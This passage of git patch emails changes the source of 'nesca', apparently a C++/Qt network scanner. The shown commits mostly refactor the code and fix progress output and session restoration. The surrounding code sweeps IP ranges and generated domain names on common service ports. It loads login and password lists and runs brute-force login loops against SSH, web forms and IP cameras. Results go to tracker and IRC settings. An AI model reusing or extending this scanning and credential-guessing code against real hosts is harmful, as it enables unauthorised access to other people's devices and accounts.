strtok(NULL, "-"); - endp = lex; - - for(int i = atoi(startp); i <= atoi(endp); i++ ) - { - portArr[indexPorts++] = i; - overallPorts++; - }; - - ZeroMemory(buffForPorts, sizeof(buffForPorts)); - } - else - { - - lex = strtok(p, "-p"); - portArr[indexPorts++] = atoi(lex); - }; - } - else - { - portArr[0] = 80; - portArr[1] = 81; - portArr[2] = 88; - portArr[3] = 8080; - portArr[4] = 8081; - portArr[5] = 60001; - portArr[6] = 60002; - portArr[7] = 8008; - portArr[8] = 8888; - portArr[9] = 554; - portArr[10] = 9000; - portArr[11] = 441; - portArr[12] = 4111; - portArr[13] = 6667; - portArr[14] = 3536; - portArr[15] = 22; - portArr[16] = 21; - - overallPorts = 16; - - strcpy(gPorts, "--DEFAULT"); - }; - - ZeroMemory(argString, sizeof(*argString)); - - delete[] argString; - -return 0; -} - -char charAll[38] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', - 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', - 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '_', '-'}; - -int _getPos(char l) { - for(int i = 0; i < 38; ++i) - { - if(l == charAll[i]) return i; - }; - return -1; -} - -int _getChunkCount(char *data) { - int firstPos = _getPos(data[1]); - int secondPos = _getPos(data[2]); - return secondPos - firstPos + 1; -} - -int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) { - if(strstr(mask, "[") != NULL) - { - char maskEnd[1024] = {0}; - char maskRes[1024] = {0}; - char *ptr1 = strstr(mask, "["); - char *ptr2 = strstr(ptr1, "]"); - int sz = ptr2 - ptr1; - char chunk[8] = {0}; - strncpy(chunk, ptr1, sz + 1); - int firstPos = _getPos(chunk[1]); - int secondPos = _getPos(chunk[2]); - - if(firstPos > secondPos) - { - stt->doEmitionRedFoundData("Error at mask (Wrong letter sequence)"); - return -1; - }; - - char maskStart[1024] = {0}; - int startPosition = strstr(mask, "[") - mask; - strncpy(maskStart, mask, startPosition); - - char maskEntry[1024] = {0}; - if(saveMaskEnder != NULL) - { - int startSavePosition = strstr(saveMaskEnder, "[") - saveMaskEnder; - strncpy(maskEntry, saveMaskEnder, startSavePosition); - }; - - int szMask = strlen(mask); - int szOffset = startPosition + 2; - if(szMask != szOffset) strcpy(maskEnd, strstr(mask, "]") + 1); - else - { - ZeroMemory(maskEnd, sizeof(maskEnd)); - }; - - char maskSaver[128] = {0}; - if(firstPos != -1 && secondPos != -1) - { - for(int i = firstPos; i <= secondPos; ++i) - { - if(globalScanFlag == false) break; - - strcpy(maskSaver, saveMask); - strcat(maskSaver, maskEntry); - chunk[1] = charAll[i]; - strcat(maskSaver, chunk); - strcpy(maskRes, maskStart); - maskRes[startPosition] = charAll[i]; - strcat(maskRes, maskEnd); - - if(_GetDNSFromMask(maskRes, maskSaver, maskEnd) == -1) return -1; - - ZeroMemory(maskSaver, sizeof(maskSaver)); - ZeroMemory(maskRes, sizeof(maskRes)); - }; - }; - } - else - { - strcpy(endIP2, saveMask); - - while(cons >= gThreads && globalScanFlag) Sleep(300); - if(globalScanFlag == false) return 0; - - string res = string(mask); - verboseProgressDNS(--gTargets, res.c_str(), top_level_domain); - res += string(top_level_domain); - - ++indexIP; - - Threader::fireThread(res, (void*(*)(void))_connect); - }; -} - -void runAuxiliaryThreads() { - std::thread saverThread(_saver); - std::thread trackerThread(_tracker); - std::thread timerThread(_timer); - saverThread.detach(); - trackerThread.detach(); - timerThread.detach(); -} - -int startScan(char* args) { - curl_global_init(CURL_GLOBAL_ALL); - //SSL_library_init(); -// OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */ -// SSL_load_error_strings(); /* Bring in and register error messages */ - - horLineFlag = false; - flCounter = 0; - PieAnomC1 = 0, PieWF = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieSSH = 0; - AnomC1 = 0, BA = 0, Filt = 0, Overl = 0, Lowl = 0, Alive = 0, Activity = 0, saved = 0, Susp = 0, WF = 0, offlines = 0; - BrutingThrds = 0; - found = 0; - gTargets = 0; - targets = 0; - cons = 0; - overallPorts = 0; - found = 0; - indexIP = 0; - - ZeroMemory(octet, sizeof(octet)); - ZeroMemory(ipsstart, sizeof(ipsstart)); - ZeroMemory(ipsend, sizeof(ipsend)); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - //std::string OutputFolder = std::string(RESULT_DIR_NAME); - CreateDirectoryA(RESULT_DIR_NAME, NULL); -#else - struct stat str = {0}; - if (stat(RESULT_DIR_NAME, &str) == -1) { - mkdir(RESULT_DIR_NAME, 0700); - } -#endif - - int argc = 0; - char *argv[512] = { 0 }; - - char *tStr = strtok(args, "|"); - while (tStr != NULL) - { - argv[argc++] = tStr; - tStr = strtok(NULL, "|"); - }; - - ParseArgs(argc, argv); - mode = gMode; - int resInit = fInit(gMode, gRange); - - if (resInit == -1) - { - stt->doEmitionRedFoundData("[Error] fInit failure"); - stt->doEmitionKillSttThread(); - - return -1; - }; - - stt->doEmitionIPRANGE(QString("--")); - stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); - - _passLoginLoader(); - _NegativeLoader(); - - runAuxiliaryThreads(); - - if (gMode == 0) - { - unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3]; - unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3]; - - switch (gShuffle) { - case true: { - std::vector<std::string> ipVec; - struct in_addr tAddr; - - for (unsigned long i = ip1; i <= ip2; ++i) { - - if (globalScanFlag == false) break; - unsigned long offset = ip2 - i; - - tAddr.s_addr = ntohl(i); - ipVec.push_back(inet_ntoa(tAddr)); - if (ipVec.size() != 0) strcpy(currentIP, ipVec[0].c_str()); - - if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { - - std::random_shuffle(ipVec.begin(), ipVec.end()); - while (ipVec.size() != 0) { - - while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) goto haters_gonna_hate_IPM; - - ++indexIP; - std::string res = ipVec[0]; - ipVec.erase(ipVec.begin()); - - verboseProgress(gTargets--, res.c_str()); - - Threader::fireThread(res, (void*(*)(void))_connect); - } - } - } - - haters_gonna_hate_IPM:; - break; - } - case false: { - struct in_addr tAddr; - for (unsigned long i = ip1; i <= ip2; ++i) { - - while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) break; - - std::string res = ""; - ++indexIP; - - tAddr.s_addr = ntohl(i); - res = string(inet_ntoa(tAddr)); - verboseProgress(gTargets--, res.c_str()); - - Threader::fireThread(res, (void*(*)(void))_connect); - } - break; - } - } - } - else if (gMode == 1) - { - strcpy(top_level_domain, gFirstDom); - - char dataEntry[1024] = { 0 }; - int innerCounter = 0; - int sz = strlen(saveEndIP); - - for (int i = 0; i < sz; ++i) - { - if (saveEndIP[i] == '\\') - { - if (saveEndIP[i + 1] == 'd') - { - strcat(dataEntry, "[09]"); - ++i; - innerCounter += 4; - continue; - } - else if (saveEndIP[i + 1] == 'w') - { - strcat(dataEntry, "[0z]"); - ++i; - innerCounter += 4; - continue; - } - else if (saveEndIP[i + 1] == 'l') - { - strcat(dataEntry, "[az]"); - ++i; - innerCounter += 4; - continue; - } - else - { - QString errStr = "Error at mask (Position:" + QString::number(i + 1); - errStr += ") \""; - errStr += QString(saveEndIP).mid(0, i == 0 ? 0 : i); - errStr += "<u>"; - errStr += QString(saveEndIP).mid(i, i == 0 ? i + 2 : i + 1); - errStr += "</u>"; - errStr += QString(saveEndIP).mid(i + 2, strlen(saveEndIP)); - errStr += "\""; - - stt->doEmitionRedFoundData(errStr); - return -1; - }; - } - else - { - memset(dataEntry + innerCounter++, saveEndIP[i], 1); - }; - }; - memset(dataEntry + innerCounter + 1, '\0', 1); - - for (int i = 0; i < sz; ++i) - { - if (dataEntry[i] == '[') - { - for (int j = i + 1; j < i + 3; ++j) - { - if ((dataEntry[j] < '0' || dataEntry[j] > '9') - && (dataEntry[j] < 'a' || dataEntry[j] > 'z') - && dataEntry[j] != '_' - && dataEntry[j] != '-' - ) - { - QString errStr = "Error at mask (" + QString::number(j - 1); - errStr += ") \""; - errStr += QString(dataEntry).mid(0, j - 1); - errStr += "<u>"; - errStr += QString(dataEntry).mid(j - 1, j + 1); - errStr += "</u>"; - errStr += QString(dataEntry).mid(j + 1, strlen(dataEntry)); - errStr += "\""; - - stt->doEmitionRedFoundData(errStr); - return -1; - }; - }; - i += 3; - } - else if (dataEntry[i] == ']') - { - QString errStr = "Error at mask (" + QString::number(i - 1); - errStr += ") \""; - errStr += QString(dataEntry).mid(0, i - 1); - errStr += "<u>"; - errStr += QString(dataEntry).mid(i - 1, i + 1); - errStr += "</u>"; - errStr += QString(dataEntry).mid(i + 1, strlen(dataEntry)); - errStr += "\""; - - stt->doEmitionRedFoundData(errStr); - return -1; - }; - }; - - unsigned long long dnsCounter = 1; - char *dnsPtr1 = strstr(dataEntry, "["); - while (dnsPtr1 != NULL) - { - dnsCounter *= _getChunkCount(dnsPtr1); - dnsPtr1 = strstr(dnsPtr1 + 1, "["); - }; - - gTargets = dnsCounter; - gTargetsOverall = gTargets; - stt->doEmitionYellowFoundData("Starting DNS-scan..."); - stt->doEmitionChangeStatus("Scanning..."); - - int y = _GetDNSFromMask(dataEntry, "", dataEntry); - if (y == -1) - { - stt->doEmitionRedFoundData("DNS-Mode error"); - }; - } - else if (gMode == -1) - { - if (flCounter == 0) - { - stt->doEmitionRedFoundData("Empty IP list."); - globalScanFlag = false; - stt->doEmitionKillSttThread(); - - return -1; - }; - - stt->doEmitionChangeStatus("Scanning..."); - for (gC = 0; gC < flCounter; ++gC) - { - strcpy(metaRange, std::to_string(ipsstartfl[gC][0]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsstartfl[gC][1]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsstartfl[gC][2]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsstartfl[gC][3]).c_str()); - strcat(metaRange, "-"); - strcat(metaRange, std::to_string(ipsendfl[gC][0]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsendfl[gC][1]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsendfl[gC][2]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsendfl[gC][3]).c_str()); - - unsigned long ip1 = (ipsstartfl[gC][0] * 16777216) + (ipsstartfl[gC][1] * 65536) + (ipsstartfl[gC][2] * 256) + ipsstartfl[gC][3]; - unsigned long ip2 = (ipsendfl[gC][0] * 16777216) + (ipsendfl[gC][1] * 65536) + (ipsendfl[gC][2] * 256) + ipsendfl[gC][3]; - - switch (gShuffle) { - case true: { - std::vector<std::string> ipVec; - struct in_addr tAddr; - - for (unsigned long i = ip1; i <= ip2; ++i) { - - if (globalScanFlag == false) break; - unsigned long offset = ip2 - i; - - tAddr.s_addr = ntohl(i); - ipVec.push_back(inet_ntoa(tAddr)); - if (ipVec.size() != 0) strcpy(currentIP, ipVec[0].c_str()); - - if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { - - std::random_shuffle(ipVec.begin(), ipVec.end()); - while (ipVec.size() != 0) { - - while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) goto haters_gonna_hate_IM; - - ++indexIP; - std::string res = ipVec[0]; - ipVec.erase(ipVec.begin()); - - verboseProgress(gTargets--, res.c_str()); - - Threader::fireThread(res, (void*(*)(void))_connect); - } - } - } - haters_gonna_hate_IM:; - break; - } - case false: { - struct in_addr tAddr; - for (unsigned long i = ip1; i <= ip2; ++i) { - - while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) break; - - ++indexIP; - - tAddr.s_addr = ntohl(i); - std::string res = string(inet_ntoa(tAddr)); - verboseProgress(gTargets--, res.c_str()); - Threader::fireThread(res, (void*(*)(void))_connect); - } - break; - }; - } - } - } - else - { - stt->doEmitionRedFoundData("Wrong parameters."); - }; - - Sleep(gTimeOut + 1); - - stt->doEmitionYellowFoundData("Stopping threads..."); - stt->doEmitionChangeStatus("Stopping..."); - - while(cons > 0 || jsonArr->size() > 0) { - Sleep(2000); - }; - - stt->doEmitionGreenFoundData("Done. Saved: " + QString::number(saved) + "; Alive: " + QString::number(found) + "."); - stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); - stt->doEmitionChangeStatus("Idle"); - stt->doEmitionKillSttThread(); -} - -void nCleanup(){ - Threader::cleanUp(); - - if(loginLst != NULL) - { - for(int i = 0; i < MaxLogin; ++i) delete []loginLst[i]; - delete []loginLst; - loginLst = NULL; - }; - if(passLst != NULL) - { - for(int i = 0; i < MaxPass; ++i) delete []passLst[i]; - delete []passLst; - passLst = NULL; - }; - if(GlobalNegatives != NULL) - { - for(int i = 0; i < GlobalNegativeSize; ++i) - { - delete []GlobalNegatives[i]; - }; - delete []GlobalNegatives; - GlobalNegatives = NULL; - }; - if(wfPassLst != NULL) - { - for(int i = 0; i < MaxWFPass; ++i) delete []wfPassLst[i]; - delete []wfPassLst; - wfPassLst = NULL; - }; - if(wfLoginLst != NULL) - { - for(int i = 0; i < MaxWFLogin; ++i) delete []wfLoginLst[i]; - delete []wfLoginLst; - wfLoginLst = NULL; - }; - if(sshlpLst != NULL) - { - for(int i = 0; i < MaxSSHPass; ++i) delete []sshlpLst[i]; - delete []sshlpLst; - sshlpLst = NULL; - }; - if(ipsstartfl != NULL) - { - for(int i = 0; i < flCounter; ++i) delete []ipsstartfl[i]; - delete []ipsstartfl; - ipsstartfl = NULL; - }; - if(ipsendfl != NULL) - { - for(int i = 0; i < flCounter; ++i) delete []ipsendfl[i]; - delete []ipsendfl; - ipsendfl = NULL; - }; - if(starterIP != NULL) - { - for(int i = 0; i < flCounter; ++i) delete []starterIP[i]; - delete []starterIP; - starterIP = NULL; - }; -} From fecbd4672f9b02c957fe6dbc9de23efc13e2f1c3 Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Mon, 23 Mar 2015 11:39:37 +0300 Subject: [PATCH 45/66] progress output fix --- Connector.cpp | 2 +- WebformWorker.cpp | 8 ++++---- connector_old.cpp | 4 ++-- nesca_3.cpp | 2 +- nesca_startModule.cpp | 35 ++++++++++++++++------------------- 5 files changed, 24 insertions(+), 27 deletions(-) diff --git a/Connector.cpp b/Connector.cpp index 60018e7..6781a23 100644 --- a/Connector.cpp +++ b/Connector.cpp @@ -179,7 +179,7 @@ int _EstablishSSHConnection(const char* host, int port, std::string *buffer, con for(int i = 0; i < MaxSSHPass; ++i) { - if(globalScanFlag == false) break; + if(!globalScanFlag) break; strcpy(temp, sshlpLst[i]); ptr1 = strstr(temp, ":"); sz = ptr1 - temp; diff --git a/WebformWorker.cpp b/WebformWorker.cpp index 234f5aa..c82cd86 100644 --- a/WebformWorker.cpp +++ b/WebformWorker.cpp @@ -62,10 +62,10 @@ lopaStr WFClass::doGetCheck(const char *ip, for(int i = 0; i < MaxWFLogin; ++i) { - if(globalScanFlag == false) break; + if(!globalScanFlag) break; for(int j = firstCycle; j < MaxWFPass; ++j) { - if(globalScanFlag == false) break; + if(!globalScanFlag) break; int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(wfLoginLst[i]) + strlen(passVal) + strlen(wfPassLst[j]) + 4; @@ -105,10 +105,10 @@ lopaStr WFClass::doPostCheck(const char *ip, for(int i = 0; i < MaxWFLogin; ++i) { - if(globalScanFlag == false) break; + if(!globalScanFlag) break; for(int j = firstCycle; j < MaxWFPass; ++j) { - if(globalScanFlag == false) break; + if(!globalScanFlag) break; int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(wfLoginLst[i]) + strlen(passVal) + strlen(wfPassLst[j]) + 4; diff --git a/connector_old.cpp b/connector_old.cpp index 89719c5..4bd7e60 100644 --- a/connector_old.cpp +++ b/connector_old.cpp @@ -498,13 +498,13 @@ lopaStr _IPCameraBrute(const char *ip, int port, char *SPEC) for(int i = 0; i < MaxLogin; i++) { - if(globalScanFlag == false) break; + if(!globalScanFlag) break; if(strcmp(loginLst[i], " ") == 0) continue; ZeroMemory(login, sizeof(login)); strcpy(login, loginLst[i]); for(int j = 0; j < MaxPass; j++) { - if(globalScanFlag == false) break; + if(!globalScanFlag) break; if(strcmp(passLst[j], " ") == 0) continue; ZeroMemory(pass, sizeof(pass)); diff --git a/nesca_3.cpp b/nesca_3.cpp index 4f9f321..c5d4d57 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -2724,7 +2724,7 @@ void nesca_3::slotShowServerMsg(QString str) void nesca_3::DNSLine_ValueChanged() { - if(globalScanFlag == 0) ui->startScanButton_4->setText("Start"); + if(!globalScanFlag) ui->startScanButton_4->setText("Start"); } void nesca_3::slotRestoreDefPorts() diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index deac4ec..a8adf0c 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -408,7 +408,7 @@ void _tracker() { while(true) { while(!trackerOK) Sleep(1000); - if(globalScanFlag == false && jsonArr->size() == 0) break; + if(!globalScanFlag && jsonArr->size() == 0) break; char rBuffT[250000] = {0}; char *msg = new char[4096]; ZeroMemory(msg, sizeof(*msg)); @@ -563,7 +563,7 @@ void _tracker() { while(true) { - if(globalScanFlag == false && jsonArr->size() == 0) break; + if(!globalScanFlag && jsonArr->size() == 0) break; if(!trackerOK) { Sleep(1000); continue; @@ -797,7 +797,7 @@ void _connect() { ConInc(); for (int i = 0; i <= overallPorts; ++i) { - if (globalScanFlag == false) break; + if (!globalScanFlag) break; if (Connector::_ConnectToPort(ip, portArr[i], "") == -2) break; }; ConDec(); @@ -813,8 +813,8 @@ void verboseProgress(long long unsigned int target, const char *ip) { stt->doEmitionIPRANGE(QString(ip)); strcpy(currentIP, ip); - //sprintf(targetNPers, "%Lu (%.1f%%)", target, percent); - //stt->doEmitionTargetsLeft(QString(targetNPers)); + sprintf(targetNPers, "%Lu (%.1f%%)", target, percent); + stt->doEmitionTargetsLeft(QString(targetNPers)); sprintf(metaTargets, "%Lu", target); sprintf(metaPercent, "%.1f", @@ -828,8 +828,8 @@ void verboseProgressDNS(long long unsigned int target, const char *ip, const cha stt->doEmitionIPRANGE(QString(ip) + QString(TLD)); strcpy(currentIP, ip); - //sprintf(targetNPers, "%Lu (%.1f%%)", target, percent); - //stt->doEmitionTargetsLeft(QString(targetNPers)); + sprintf(targetNPers, "%Lu (%.1f%%)", target, percent); + stt->doEmitionTargetsLeft(QString(targetNPers)); sprintf(metaTargets, "%Lu", target); sprintf(metaPercent, "%.1f", @@ -2069,17 +2069,14 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) { int szMask = strlen(mask); int szOffset = startPosition + 2; if(szMask != szOffset) strcpy(maskEnd, strstr(mask, "]") + 1); - else - { - ZeroMemory(maskEnd, sizeof(maskEnd)); - }; + else ZeroMemory(maskEnd, sizeof(maskEnd));; char maskSaver[128] = {0}; if(firstPos != -1 && secondPos != -1) { for(int i = firstPos; i <= secondPos; ++i) { - if(globalScanFlag == false) break; + if(!globalScanFlag) break; strcpy(maskSaver, saveMask); strcat(maskSaver, maskEntry); @@ -2101,7 +2098,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) { strcpy(endIP2, saveMask); while(cons >= gThreads && globalScanFlag) Sleep(300); - if(globalScanFlag == false) return 0; + if(!globalScanFlag) return 0; string res = string(mask); verboseProgressDNS(--gTargets, res.c_str(), top_level_domain); @@ -2193,7 +2190,7 @@ int startScan(char* args) { for (unsigned long i = ip1; i <= ip2; ++i) { - if (globalScanFlag == false) break; + if (!globalScanFlag) break; unsigned long offset = ip2 - i; tAddr.s_addr = ntohl(i); @@ -2206,7 +2203,7 @@ int startScan(char* args) { while (ipVec.size() != 0) { while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) goto haters_gonna_hate_IPM; + if (!globalScanFlag) goto haters_gonna_hate_IPM; ++indexIP; std::string res = ipVec[0]; @@ -2227,7 +2224,7 @@ int startScan(char* args) { for (unsigned long i = ip1; i <= ip2; ++i) { while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) break; + if (!globalScanFlag) break; std::string res = ""; ++indexIP; @@ -2400,7 +2397,7 @@ int startScan(char* args) { for (unsigned long i = ip1; i <= ip2; ++i) { - if (globalScanFlag == false) break; + if (!globalScanFlag) break; unsigned long offset = ip2 - i; tAddr.s_addr = ntohl(i); @@ -2413,7 +2410,7 @@ int startScan(char* args) { while (ipVec.size() != 0) { while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) goto haters_gonna_hate_IM; + if (!globalScanFlag) goto haters_gonna_hate_IM; ++indexIP; std::string res = ipVec[0]; @@ -2433,7 +2430,7 @@ int startScan(char* args) { for (unsigned long i = ip1; i <= ip2; ++i) { while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) break; + if (!globalScanFlag) break; ++indexIP; From 22478e5c3113ed32ab15e0c9bfdc29a849c45938 Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Mon, 23 Mar 2015 12:06:30 +0300 Subject: [PATCH 46/66] DNS mode session restoration fix --- externData.h | 2 +- nesca_3.cpp | 10 ++++------ nesca_3.h | 2 +- nesca_startModule.cpp | 45 +++++++++++++++---------------------------- 4 files changed, 21 insertions(+), 38 deletions(-) diff --git a/externData.h b/externData.h index c457dd3..8e1e8ea 100644 --- a/externData.h +++ b/externData.h @@ -43,7 +43,7 @@ extern unsigned int Activity; extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[64], ircServer[32], ircPort[32], ircProxy[64], ircProxyPort[8], ircNick[32], trcPort[32], trcSrvPortLine[32], saveEndIP[128], - gRange[128], gFirstDom[128], gPorts[65536], endIP2[128], + gRange[128], gFirstDom[128], gPorts[65536], gVER[16], gProxyIP[64], gProxyPort[8], currentIP[MAX_ADDR_LEN], diff --git a/nesca_3.cpp b/nesca_3.cpp index c5d4d57..89c3b4f 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -2941,7 +2941,6 @@ void nesca_3::ConnectEvrthng() } void _LoadPersInfoToLocalVars(int savedTabIndex) { - ZeroMemory(endIP2, sizeof(endIP2)); ZeroMemory(top_level_domain, sizeof(top_level_domain)); ZeroMemory(gPorts, sizeof(gPorts)); @@ -2957,16 +2956,15 @@ void _LoadPersInfoToLocalVars(int savedTabIndex) { QList<QString> splittedTargetLine = targetLine.split("-"); strcpy(currentIP, splittedTargetLine[0].toLocal8Bit().data()); strcpy(finalIP, splittedTargetLine[1].toLocal8Bit().data()); - strcpy(endIP2, ui->ipLine->text().toLocal8Bit().data()); } } else { if(ui->ipLine->text().indexOf("/") < 0) { - strcpy(endIP2, ui->ipLine->text().toLocal8Bit().data()); - strcat(endIP2, "-"); - strcat(endIP2, ui->ipLine->text().toLocal8Bit().data()); + strcpy(currentIP, ui->ipLine->text().toLocal8Bit().data()); + strcat(currentIP, "-"); + strcat(currentIP, ui->ipLine->text().toLocal8Bit().data()); }; }; @@ -2978,7 +2976,7 @@ void _LoadPersInfoToLocalVars(int savedTabIndex) { gMode = 1; gThreads = ui->lineEditThread->text().toInt(); - strcpy(endIP2, ui->lineEditStartIPDNS->text().toLocal8Bit().data()); + strcpy(currentIP, ui->lineEditStartIPDNS->text().toLocal8Bit().data()); strcpy(top_level_domain, ui->lineILVL->text().toLocal8Bit().data()); strncpy(gPorts, ("-p" + ui->lineEditPort->text()).toLocal8Bit().data(), 65536); gPorts[ui->lineEditPort->text().size()] = '\0'; diff --git a/nesca_3.h b/nesca_3.h index 7c8a095..9715826 100644 --- a/nesca_3.h +++ b/nesca_3.h @@ -29,7 +29,7 @@ extern bool widgetIsHidden, IRCLogToggled, blinkFlag, disableBlink, debugFileOK, smBit_8, smBit_7, smBit_6, smBit_5, smBit_4, smBit_3, smBit_2, smBit_1, printDelimiter; extern float QoSStep; extern int MaxDataVal; -extern char endIP2[128], inputStr[256]; +extern char inputStr[256]; extern SOCKET lSock; extern QVector<int> vAlivLst, vAnomLst, vWFLst, vSuspLst, vLowlLst, vBALst, vSSHLst, vOvrlLst, actLst; diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index a8adf0c..7253897 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -32,7 +32,6 @@ unsigned int Activity = 0; unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL; double ips = 0; char top_level_domain[128] = {0}; -char endIP2[128] = {0}; char **GlobalNegatives = 0; char **loginLst, **passLst; char **wfLoginLst, **wfPassLst; @@ -805,14 +804,10 @@ void _connect() { } } -void verboseProgress(long long unsigned int target, const char *ip) { - +inline void progressOutput(long long unsigned int target) { char targetNPers[128] = {0}; float percent = (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0); - stt->doEmitionIPRANGE(QString(ip)); - strcpy(currentIP, ip); - sprintf(targetNPers, "%Lu (%.1f%%)", target, percent); stt->doEmitionTargetsLeft(QString(targetNPers)); @@ -820,34 +815,26 @@ void verboseProgress(long long unsigned int target, const char *ip) { sprintf(metaPercent, "%.1f", percent); } +void verboseProgress(long long unsigned int target, const char *ip) { + + stt->doEmitionIPRANGE(QString(ip)); + progressOutput(target); +} void verboseProgressDNS(long long unsigned int target, const char *ip, const char *TLD) { - char targetNPers[128] = { 0 }; - float percent = (gTargetsOverall != 0 ? (100 - target / (double)gTargetsOverall * 100) : 0); - - stt->doEmitionIPRANGE(QString(ip) + QString(TLD)); - strcpy(currentIP, ip); - - sprintf(targetNPers, "%Lu (%.1f%%)", target, percent); - stt->doEmitionTargetsLeft(QString(targetNPers)); - - sprintf(metaTargets, "%Lu", target); - sprintf(metaPercent, "%.1f", - percent); + stt->doEmitionIPRANGE(QString(ip) + QString(TLD)); + progressOutput(target); } void _passLoginLoader() { MaxLogin = 0; MaxPass = 0; - FILE *loginList; - FILE *passList; - char buffFG[32] = {0}; int i = 0; - loginList = fopen("login.txt", "r"); - passList = fopen("pass.txt", "r"); + FILE *loginList = fopen("login.txt", "r"); + FILE *passList = fopen("pass.txt", "r"); if(passList != NULL && loginList != NULL) { @@ -1898,7 +1885,6 @@ int ParseArgs(int argc, char *argv[]) { }; strcpy(saveEndIP, gRange); - strcpy(endIP2, gRange); strcpy(finalIP, strstr(gRange, "-") + 1); } else if(gMode == 1) @@ -1906,14 +1892,12 @@ int ParseArgs(int argc, char *argv[]) { if(strstr(argv[2], "/") != NULL) { strcpy(gRange, argv[2]); - strcpy(saveEndIP, argv[2]); - strcpy(endIP2, argv[2]); + strcpy(saveEndIP, argv[2]); } else { strcpy(gRange, argv[2]); - strcpy(saveEndIP, gRange); - strcpy(endIP2, gRange); + strcpy(saveEndIP, gRange); }; }; @@ -2037,8 +2021,9 @@ int _getChunkCount(char *data) { } int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) { + if(strstr(mask, "[") != NULL) - { + { char maskEnd[1024] = {0}; char maskRes[1024] = {0}; char *ptr1 = strstr(mask, "["); @@ -2095,7 +2080,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) { } else { - strcpy(endIP2, saveMask); + strcpy(currentIP, saveMask); while(cons >= gThreads && globalScanFlag) Sleep(300); if(!globalScanFlag) return 0; From 2d0b97bbbabd99c57751efcae29394eeecef86ee Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Mon, 23 Mar 2015 12:37:02 +0300 Subject: [PATCH 47/66] Shuffle and NSTrack option saving fix --- mainResources.h | 13 ---------- nesca_3.cpp | 39 +++++++++++++++++++++++------ nesca_startModule.cpp | 58 ++++++++++++++++--------------------------- 3 files changed, 53 insertions(+), 57 deletions(-) diff --git a/mainResources.h b/mainResources.h index 3fed2f5..bbb21b5 100644 --- a/mainResources.h +++ b/mainResources.h @@ -150,17 +150,6 @@ class Connector_old public: int _Updater(); - // lopaStr _FTPLobby(char *ip, - // int port, - // PathStr *ps); - - // lopaStr _BALobby(char *cookie, - // char *ip, - // int port, - // char *path, - // char *method, - // char *data); - lopaStr _WFLobby(char *cookie, char *ip, int port, @@ -187,5 +176,3 @@ public: extern lopaStr _IPCameraBLobby(const char *ip, int port, char *SPEC); -//extern lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method); -//extern lopaStr _FTPLobby(char *ip, int port, PathStr *ps); diff --git a/nesca_3.cpp b/nesca_3.cpp index 89c3b4f..d1e5f76 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -3126,16 +3126,23 @@ void RestoreSession() PortString.replace("\n", ""); - ui->lineEditPort->setText(PortString); - ui->portLine->setText(PortString); - ui->importPorts->setText(PortString); + if(PortString.length() > 0) { + ui->lineEditPort->setText(PortString); + ui->portLine->setText(PortString); + ui->importPorts->setText(PortString); + } else { + ui->lineEditPort->setText(PORTSET); + ui->portLine->setText(PORTSET); + ui->importPorts->setText(PORTSET); + } delete []fPorts; } else - { - ui->lineEditPort->setText(PORTSET); - ui->portLine->setText(PORTSET); + { + ui->lineEditPort->setText(PORTSET); + ui->portLine->setText(PORTSET); + ui->importPorts->setText(PORTSET); }; }; @@ -3150,6 +3157,22 @@ void RestoreSession() lex[strlen(lex) - 1] = '\0'; ui->pingingOnOff->setChecked(strcmp(lex, "true") == 0 ? true : false); }; + } else if (strstr(resStr, "[SHUFFLE]:") != NULL) { + lex = strstr(resStr, "[SHUFFLE]:") + 